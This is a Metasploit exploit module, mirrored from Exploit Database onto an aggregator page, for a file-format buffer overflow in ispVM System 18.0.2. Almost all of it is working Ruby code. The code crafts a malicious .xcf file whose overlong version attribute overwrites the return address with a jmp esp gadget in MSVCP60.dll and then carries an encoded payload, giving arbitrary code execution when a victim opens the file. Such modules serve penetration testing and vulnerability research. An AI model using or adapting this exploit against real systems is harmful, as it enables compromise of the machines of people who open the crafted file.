ispVM System – ‘.XCF’ File Handling Overflow (Metasploit)

• Exploit Database
• 35 阅读

• 作者： Metasploit
  日期： 2012-05-29
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18947/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "ispVM System XCF File Handling Overflow",
  			'Description'=> %q{
  					This module exploits a vulnerability found in ispVM System 18.0.2.Due to the way
  				ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially
  				crafted file, when a long value is supplied for the version attribute of the ispXCF
  				tag. It results in arbitrary code execution under the context of the user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Unknown', # Vulnerability Discovery
  					'juan vazquez' # Metasploit
  				],
  			'References' =>
  				[
  					['OSVDB', '82000'],
  					['BID', '53562'],
  					['URL', 'http://secunia.com/advisories/48740/']
  				],
  			'Payload'=>
  				{
  					'Space'=> 4000,
  					'BadChars' => "\x00\x1a\x3c\x20\x3e\xff"
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "process",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'ispVM System 18.0.2 / Windows XP SP3 / Windows 7 SP1',
  						{
  							'Offset' => 274,
  							'BreakOffset' => 243,
  							'Ret' => 0x780e9d6e # jmp esp from C:\ispTOOLS\ispvmsystem\MSVCP60.dll
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "May 16 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.xcf']),
  			], self.class)
  
  	end
  
  	def exploit
  
  		buf = rand_text(target['Offset'])
  		buf[target['BreakOffset']] = "A"
  		buf << [target.ret].pack("V")
  		buf << payload.encoded
  
  		xcf = %Q|
  		<?xml version='1.0' encoding='utf-8' ?>
  		<!DOCTYPE		ispXCF	SYSTEM	"IspXCF.dtd" >
  		<ispXCF version="#{buf}">
  		</ispXCF>
  		|
  
  		file_create(xcf)
  	end
  end